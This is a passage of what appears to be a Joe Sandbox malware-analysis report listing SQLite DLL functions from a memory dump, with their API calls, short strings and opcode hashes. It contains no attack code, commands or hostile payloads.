Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_logsqlite3_mutex_leave$sqlite3_mutex_enter
String ID:
API String ID: 1015584638-0
Opcode ID: 1ebb0a6512d9c02287f3840fa87a363290ca4d48b9f63dc5b5cb3d2dc29f9e74
Instruction ID: 425444e7821273beab728961d90e283895a8a51f89ed4af1f84472adb092b93f
Opcode Fuzzy Hash: 1ebb0a6512d9c02287f3840fa87a363290ca4d48b9f63dc5b5cb3d2dc29f9e74
Instruction Fuzzy Hash: 4931D1396046608BD700AFA9C8A474677E2EFC9318F3AC96DEC588F34AD774D841C752

Function 61E44D3A Relevance: 7.6, APIs: 5, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E44D4F
sqlite3_mutex_enter.SQLITE3 ref: 61E44D5A
sqlite3_mutex_leave.SQLITE3 ref: 61E44E13
sqlite3_mutex_leave.SQLITE3 ref: 61E44E1E

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID:
API String ID: 1477753154-0
Opcode ID: 56ecbd7e4e3f8e075256f06779ad3b86d79dbe1932b66257f5aeb04743c77def
Instruction ID: 17a30a48d5dc9d3f7a04ee0bc8d0a3da027d6ab760a0ca4e27e53b8cdcb6d9ad
Opcode Fuzzy Hash: 56ecbd7e4e3f8e075256f06779ad3b86d79dbe1932b66257f5aeb04743c77def
Instruction Fuzzy Hash: 43216BB47097518BD706AF68D48070ABBE4FF85318F25C42EE8988B301D774D851CB92

Function 61E34DCE Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E34DDC

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_mutex_enter.SQLITE3 ref: 61E34DF4
sqlite3_mutex_leave.SQLITE3 ref: 61E34E17
sqlite3_mutex_leave.SQLITE3 ref: 61E34E5B
sqlite3_memory_used.SQLITE3 ref: 61E34E60

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_leave$sqlite3_mutex_enter$sqlite3_configsqlite3_initializesqlite3_memory_used
String ID:
API String ID: 2853221962-0
Opcode ID: 85f8b2b461cfcf11b9884670a6cf5e07642387d880f86804736e967274eedc58
Instruction ID: 76c2bdaa9a0e4a456919d5c767e30a4b59763be70ae7ce720fb7a51b0dcbc32b
Opcode Fuzzy Hash: 85f8b2b461cfcf11b9884670a6cf5e07642387d880f86804736e967274eedc58
Instruction Fuzzy Hash: 3E114C74A14A559BCF04DFBEC44055977F5BBCA618B24CA2BF954CB340D731E881CB91

Function 61E34B85 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

sqlite3_result_int64.SQLITE3 ref: 61E34C93
sqlite3_result_text.SQLITE3 ref: 61E34DBC

Strings

4a, xrefs: 61E34D23
:a, xrefs: 61E34D86

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_result_int64sqlite3_result_text
String ID: 4a$:a
API String ID: 1704945000-1963086946
Opcode ID: 71bc73a378b287580fa2d30d0fe5302ce2ea0a7fb66037921364d46e5cb6a655
Instruction ID: 59a19e874174a6bd74bfa4a75b2b29a1aa1f30513b7d45bdf2fbca5ac6df64eb
Opcode Fuzzy Hash: 71bc73a378b287580fa2d30d0fe5302ce2ea0a7fb66037921364d46e5cb6a655
Instruction Fuzzy Hash: B2619F705083A58FDB14CF28C48475ABBE1AFC9318F64C95ED8988B385D736D885CF41

Function 61E26D8F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E26DD7
sqlite3_free.SQLITE3 ref: 61E26E35
sqlite3_free.SQLITE3 ref: 61E26E91

Strings

winAccess, xrefs: 61E26E9C

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_win32_is_nt
String ID: winAccess
API String ID: 2284118020-3605117275
Opcode ID: 296cbe50b3dfa0cbe8de44f57f3521292d90aa88037223ac085378cef338d928
Instruction ID: dfc275d53aa29049084ae5dae1c58b42d86fb017724081365478aef60775f6d9
Opcode Fuzzy Hash: 296cbe50b3dfa0cbe8de44f57f3521292d90aa88037223ac085378cef338d928
Instruction Fuzzy Hash: 23318172908299CFDB009EA4C95435EB7B1AB89328F218729EC6597380D774D956CB82

Function 61E5D70B Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

3, xrefs: 61E5D775
d, xrefs: 61E5E249

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: 3$d
API String ID: 0-1650181692
Opcode ID: b499e8900f97afec89a2fbd53c99d00449c99c016268d57d619438542e137dbd
Instruction ID: 1df2370060883c66a53e1dde676c53e613f01413908c812f323d4ea88ecb673c
Opcode Fuzzy Hash: b499e8900f97afec89a2fbd53c99d00449c99c016268d57d619438542e137dbd
Instruction Fuzzy Hash: B0312878A042558FEB618F25C480789BBF0BB06318F64C5AADC989B346D375D990CF91

Function 61E39510 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 61E24F57: sqlite3_value_text.SQLITE3 ref: 61E24F6A
Part of subcall function 61E24F57: sqlite3_value_bytes.SQLITE3 ref: 61E24F76
Part of subcall function 61E24F57: sqlite3_get_auxdata.SQLITE3 ref: 61E24F94
Part of subcall function 61E24F57: memcmp.MSVCRT ref: 61E24FB5

sqlite3_value_text.SQLITE3 ref: 61E39575

Part of subcall function 61E393FD: sqlite3_mprintf.SQLITE3 ref: 61E3944F
Part of subcall function 61E393FD: sqlite3_result_error.SQLITE3 ref: 61E39469
Part of subcall function 61E393FD: sqlite3_free.SQLITE3 ref: 61E39471

sqlite3_result_subtype.SQLITE3 ref: 61E39619

Strings

J, xrefs: 61E3960E
null, xrefs: 61E395C4

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$memcmpsqlite3_freesqlite3_get_auxdatasqlite3_mprintfsqlite3_result_errorsqlite3_result_subtypesqlite3_value_bytes
String ID: J$null
API String ID: 3173415908-802103870
Opcode ID: f2bade5427bf0e033a27700e97a4750aef713548ca2e0f67a61d319135f435b2
Instruction ID: a906e46988a9dabecf0ed8e4380dfcf82b82351f8ad6453b365838df107e1250
Opcode Fuzzy Hash: f2bade5427bf0e033a27700e97a4750aef713548ca2e0f67a61d319135f435b2
Instruction Fuzzy Hash: C9310B70A046A9DBDB10EF65C880B8E77B5AFC5318F20C06AE85C8B341DB35DA85CF91

Function 61E39759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 61E39794
sqlite3_value_text.SQLITE3 ref: 61E397B4
sqlite3_result_value.SQLITE3 ref: 61E397FC

Part of subcall function 61E39162: sqlite3_mprintf.SQLITE3 ref: 61E39177
Part of subcall function 61E39162: sqlite3_result_error.SQLITE3 ref: 61E3918D
Part of subcall function 61E39162: sqlite3_free.SQLITE3 ref: 61E39195

Strings

replace, xrefs: 61E39778

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_freesqlite3_mprintfsqlite3_result_errorsqlite3_result_value
String ID: replace
API String ID: 822508682-211625029
Opcode ID: 3238d79b95bf4eac617cd81dbc65618d3bf50c6ab1ff18f301b4120ddb5aa2af
Instruction ID: 9e708afe98d993102cb750a3885a85318c31dbb7939dd1b47c4ecfe23680b6e6
Opcode Fuzzy Hash: 3238d79b95bf4eac617cd81dbc65618d3bf50c6ab1ff18f301b4120ddb5aa2af
Instruction Fuzzy Hash: E1217C75A08398DBCB01DF68C484A9EBBE5AFC4318F24C45DEC888B350DB35E944CB81

Function 61E1BF06 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E1BF24

Part of subcall function 61E1810B: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17DE4,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E18113

sqlite3_realloc.SQLITE3 ref: 61E1BF72
sqlite3_free.SQLITE3 ref: 61E1BF88

Strings

d, xrefs: 61E1BF3B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
String ID: d
API String ID: 211589378-2564639436
Opcode ID: a7596c5a604db98bb88ca421dd0a5bbae294bcab6de6a91d89037c8facb0ff44
Instruction ID: 7e883275f96bed8c623a78fb91f5e40ecf046df512701315b916c6e4743df786
Opcode Fuzzy Hash: a7596c5a604db98bb88ca421dd0a5bbae294bcab6de6a91d89037c8facb0ff44
Instruction Fuzzy Hash: 3421C2B1A082058FDB10CFA9C8C1B5ABBF4EB8D314F14C469D9499B319D779E845CFA1

Function 61E1F772 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

sqlite3_value_int.SQLITE3 ref: 61E1F786
sqlite3_value_int.SQLITE3 ref: 61E1F793
sqlite3_result_blob.SQLITE3 ref: 61E1F80A

Strings

<, xrefs: 61E1F7FE

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_value_int$sqlite3_result_blob
String ID: <
API String ID: 2918918774-4251816714
Opcode ID: 4d710e1ddf9ed5283a5eae10dc8128773a4645c94e470047452dbeff946b1fec
Instruction ID: 777d820699a3d28ee82df04858647ff8a5fb7a21084265ecacbd207c36769983
Opcode Fuzzy Hash: 4d710e1ddf9ed5283a5eae10dc8128773a4645c94e470047452dbeff946b1fec
Instruction Fuzzy Hash: 11116AB190430A8FCB04CF6AD88098ABBF5FF88364F15856EE4588B360E374E951CF91

Function 61E29088 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 61E28F7C: sqlite3_log.SQLITE3(?,?,?,?,?,61E2902F), ref: 61E28FB7

sqlite3_mutex_enter.SQLITE3 ref: 61E290BB
sqlite3_value_text.SQLITE3 ref: 61E290D4
sqlite3_mutex_leave.SQLITE3 ref: 61E290EE

Part of subcall function 61E26168: sqlite3_log.SQLITE3 ref: 61E26191

Strings

out of memory, xrefs: 61E290C4, 61E290F8

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log$sqlite3_mutex_entersqlite3_mutex_leavesqlite3_value_text
String ID: out of memory
API String ID: 645246966-2599737071
Opcode ID: 327cdbda850600548ed336f27e198819550d1e49f93a352416d819d29f1af52a
Instruction ID: 68e5c2bea9a6ce457fbe0d4e19f577a1625aafdef1c3d86ffc27b5dcbd909762
Opcode Fuzzy Hash: 327cdbda850600548ed336f27e198819550d1e49f93a352416d819d29f1af52a
Instruction Fuzzy Hash: EC01A974A0C2855BDB409FB9C4E0A5AB7E4AF4531CF28D479DC598F301EB3AD990CB81

Function 61E01440 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 61E01456
GetProcAddress.KERNEL32 ref: 61E01471

Strings

_Jv_RegisterClasses, xrefs: 61E01466
libgcj-16.dll, xrefs: 61E0144F

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: _Jv_RegisterClasses$libgcj-16.dll
API String ID: 1646373207-328863460
Opcode ID: bf21648c57dceb260ece4d8fe198b31ac0b988cdeb9f6110af85b8b41f393fc4
Instruction ID: 778d341767c2ee19b90e18f62addd533fb99b44d20927835abe6102458811233
Opcode Fuzzy Hash: bf21648c57dceb260ece4d8fe198b31ac0b988cdeb9f6110af85b8b41f393fc4
Instruction Fuzzy Hash: D6E06DB4508B018BF7507FE9840632EBAB9AFC670AF62C41CD489962A0E634C491C773

Function 61E1F39F Relevance: 6.2, APIs: 4, Instructions: 228COMMON

Download Yara Rule

APIs

sqlite3_malloc.SQLITE3 ref: 61E1F406

Part of subcall function 61E1810B: sqlite3_initialize.SQLITE3(00000007,00000007,?,61E17DE4,?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E18113

sqlite3_free.SQLITE3 ref: 61E1F51D
sqlite3_result_error_code.SQLITE3 ref: 61E1F640
sqlite3_result_double.SQLITE3 ref: 61E1F655

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_result_doublesqlite3_result_error_code
String ID:
API String ID: 4229029058-0
Opcode ID: 1d6d91be48f74abf5363d4e429c2ae1da530b57b8650c984362c93972c50a3d2
Instruction ID: 1fb2550d0a476b77920fa1f89eefe42b29f5bff546b79c36bf27f57c6265e3e4
Opcode Fuzzy Hash: 1d6d91be48f74abf5363d4e429c2ae1da530b57b8650c984362c93972c50a3d2
Instruction Fuzzy Hash: EDA128B0A08609DFCB00DF69D584A8EBBF1FF48354F218929E859D7354EB34E955CB81

Function 61E1EE99 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E1EF99
localtime.MSVCRT ref: 61E1EFA7
sqlite3_mutex_leave.SQLITE3 ref: 61E1EFD7
sqlite3_result_error.SQLITE3 ref: 61E1EFF9

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: localtimesqlite3_mutex_entersqlite3_mutex_leavesqlite3_result_error
String ID:
API String ID: 2374424446-0
Opcode ID: 12ef7ea4453c32a645ba348bbfca8fb0439067479915be8a35ed3e638365756e
Instruction ID: 0b4c3f845fe4e23b27ca7b6e3ba5b2e459ab9091edf486b89d08fe00cbff84e0
